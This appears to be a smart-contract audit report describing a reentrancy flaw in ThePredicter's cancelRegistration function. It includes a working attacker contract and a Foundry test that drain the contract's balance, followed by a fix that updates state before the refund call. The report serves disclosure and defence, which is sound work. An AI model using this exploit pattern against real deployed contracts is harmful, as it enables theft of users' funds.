Summary
ThePredicter::cancelRegistration does not follow the CEI pattern and therefore is vulnerable to a reentrancy attack from an external caller.
Vulnerability Details
Relevent link- https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol
Any user is able to register in ThePredicter::register and therefore would be able to call the cancelRegistration function to receive their refund. Due to an external call being made before updating the player's status, this function is vulnerable to a reentrancy attack. The user would be able to create an external contract that calls cancelRegistration every time it receive ether in a fallback function. The process can repeat until the contract balance is below the entrance fee.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
POC
Create the following contract
pragma solidity ^0.8.13;
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ReentrancyAttacker {
ThePredicter thePredicter;
uint256 entranceFee;
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
entranceFee = thePredicter.entranceFee();
}
function attack() external payable {
thePredicter.register{value: entranceFee}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance >= entranceFee) {
thePredicter.cancelRegistration();
}
}
}
Add the following code to ThePredicter.test.sol
function test_reentrancyLoop() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(
address(thePredicter)
);
address player1 = makeAddr("player1");
address player2 = makeAddr("player2");
address player3 = makeAddr("player3");
vm.startPrank(player1);
vm.deal(player1, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(player2);
vm.deal(player2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(player3);
vm.deal(player3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.deal(address(attacker), 1 ether);
uint256 startingPredicterBalance = address(thePredicter).balance;
uint256 startingAttackerBalance = address(attacker).balance;
attacker.attack();
uint256 endingPredicterBalance = address(thePredicter).balance;
uint256 endingAttackerBalance = address(attacker).balance;
assertEq(endingAttackerBalance, startingPredicterBalance + startingAttackerBalance);
assertEq(endingPredicterBalance, 0);
}
Impact
When users go to claim their rewards from ThePredicter::withdraw, the contract balance will be 0 preventing users from claiming any rewards they are eligible for
Any user that wishes to cancel their registration and receive a refund will be unable to do so as the contract will have no balance to repay
Tools Used
Slither and Manual Review
Recommendations
Update the player's status before the external call to follow the CEI pattern
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
